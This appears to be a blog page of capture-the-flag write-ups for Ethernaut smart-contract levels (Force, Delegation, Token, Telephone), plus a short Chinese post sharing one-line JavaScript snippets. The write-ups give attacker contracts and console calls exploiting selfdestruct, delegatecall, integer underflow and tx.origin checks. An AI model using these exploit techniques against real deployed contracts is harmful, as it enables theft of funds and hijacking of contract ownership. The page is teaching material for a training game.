28 Aug 2022
Difficulty: 🌕🌕🌕🌑🌑
Some contracts will simply not take your money ¯_(ツ)_/¯
The goal of this level is to make the balance of the contract greater than zero.
Things that might help:
- Fallback methods
- Sometimes the best way to attack a contract is with another contract.
- See the Help page above, section “Beyond the console”
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
Writeup
The keypoint to complete this level is selfdestruct
. After calling selfdestruct
method, contract will send all remaining Ether to a designated address. A malicious contract can use selfdestruct to force sending Ether to any contract.
- Get new Instance.
- Create a contract
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
contract ForceAttacker {
Force force;
// For a contract to be able to receive ether, the constructor function must be marked payable.
constructor(Force _force) payable {
force = Force(_force);
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function attack() public {
address payable addr = payable(address(force));
selfdestruct(addr);
}
}
- Compile & Deploy
- Click getBalnce button, it will return 1wei.
- Click attack button. The contract will self-destruct, and the remaining 1wei will be send to Force contract.
- Submit instance ξ( ✿>◡❛)
Reference
Solidity by example - Self Destruct
28 Aug 2022
Difficulty: 🌕🌕🌑🌑🌑
The goal of this level is for you to claim ownership of the instance you are given.
Things that might help
- Look into Solidity’s documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
- Fallback methods
- Method ids
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
Writeup
- Get new Instance.
- Call the method
await contract.sendTransaction({data: web3.eth.abi.encodeFunctionSignature("pwn()")})
You can find the detail about encodeFunctionSignature()
in there .
- Submit instance ξ( ✿>◡❛)
Reference
Solidity by example - delegatecall
27 Aug 2022
Difficulty: 🌕🌕🌑🌑🌑
The goal of this level is for you to hack the basic token contract below.
You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.
Things that might help:
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
Writeup
There is a famous security pitfall. We can use technique Underoverflow to complete this level.
- Get new instance.
- Call the method
await contract.balanceOf('YOUR_ACCOUNT').then(v=>v.toString())
It will return default balance 20
.
- Call the method
await contract.transfer('OTHER_ACCOUNT', 1000000)
- Call the method
await contract.balanceOf('YOUR_ACCOUNT').then(v=>v.toString())
It will return a very big amount.
- Submit instance ξ( ✿>◡❛)
27 Aug 2022
Difficulty: 🌕🌑🌑🌑🌑
Claim ownership of the contract below to complete this level.
Things that might help
See the Help page above, section “Beyond the console”
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
Writeup
To complete this level, we need to claim ownership of the contract.
The keypoint is the difference between tx.origin
and msg.sender
.
- Get new instance
- Create a contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Telephone {
function changeOwner(address _owner) external;
}
contract AttackTelephone {
Telephone public targets = Telephone(YOUR_LEVEL_INSTANCE_ADDRESS);
function attackTelephone() public{
targets.changeOwner(YOUR_ACCOUNT);
}
}
- Compile & deploy .
- Call attackTelephone function. In this scenario,
tx.origin
will be the victim’s address while msg.sender
will be the malicious contract ( AttackTelephone ) ‘s address. ( tx.origin != msg.sender
== true
)
- Callthe method
await contract.owner().then(v => v.toString())
to check owner if it is your account.
- Submit instance ξ( ✿>◡❛)
Reference
tx.origin vs msg.sender
26 Aug 2022
對於初入門TS/JS或是想精進技術的人,1LOC 真的是不能錯過的網站!1LOC 的LOC是指line of code的的縮寫,在這個網站內分門別類分享了許多程式碼,有TS也有JS的版本,幫助開發者在一行內以漂亮達成想要的效果。
以下從網站擷取一些範例 :
Invert keys and values of an object
const invert = (obj) => Object.fromEntries(Object.entries(obj).map(([k, v]) => [v, k]));
//How to use ?
invert({ a: '1', b: '2', c: '3' }); // { 1: 'a', 2: 'b', 3: 'c' }
Calculate Fibonacci numbers
const fibo = (n: number, memo: Record<string, number> = {}): number => memo[n] || (n <= 2 ? 1 : (memo[n] = fibo(n - 1, memo) + fibo(n - 2, memo)));
// How to use ?
fibo(1); // 1
fibo(2); // 1
fibo(3); // 2
fibo(4); // 3
fibo(5); // 5
fibo(6); // 8
Clear all cookies
const clearCookies = (): void => document.cookie.split(';').forEach((c) => (document.cookie = c.replace(/^ +/, '').replace(/=.*/, `=;expires=${new Date().toUTCString()};path=/`)));
clearCookies();
Generate a random hex color
const randomColor = (): string => `#${(~~(Math.random() * (1 << 24))).toString(16)}`;
考量到可讀性,有些程式碼像是fibonacci,比起一行解決我更傾向質樸地寫成十幾行的function,後人會更好維護。所以這個網站內的程式碼可供參考、作為學習的教材,但跟他寫的不一樣、沒有在一行內解決不代表就是壞code!能靈活運用、好閱讀、有效率最重要^^ 分享這個網站給大家~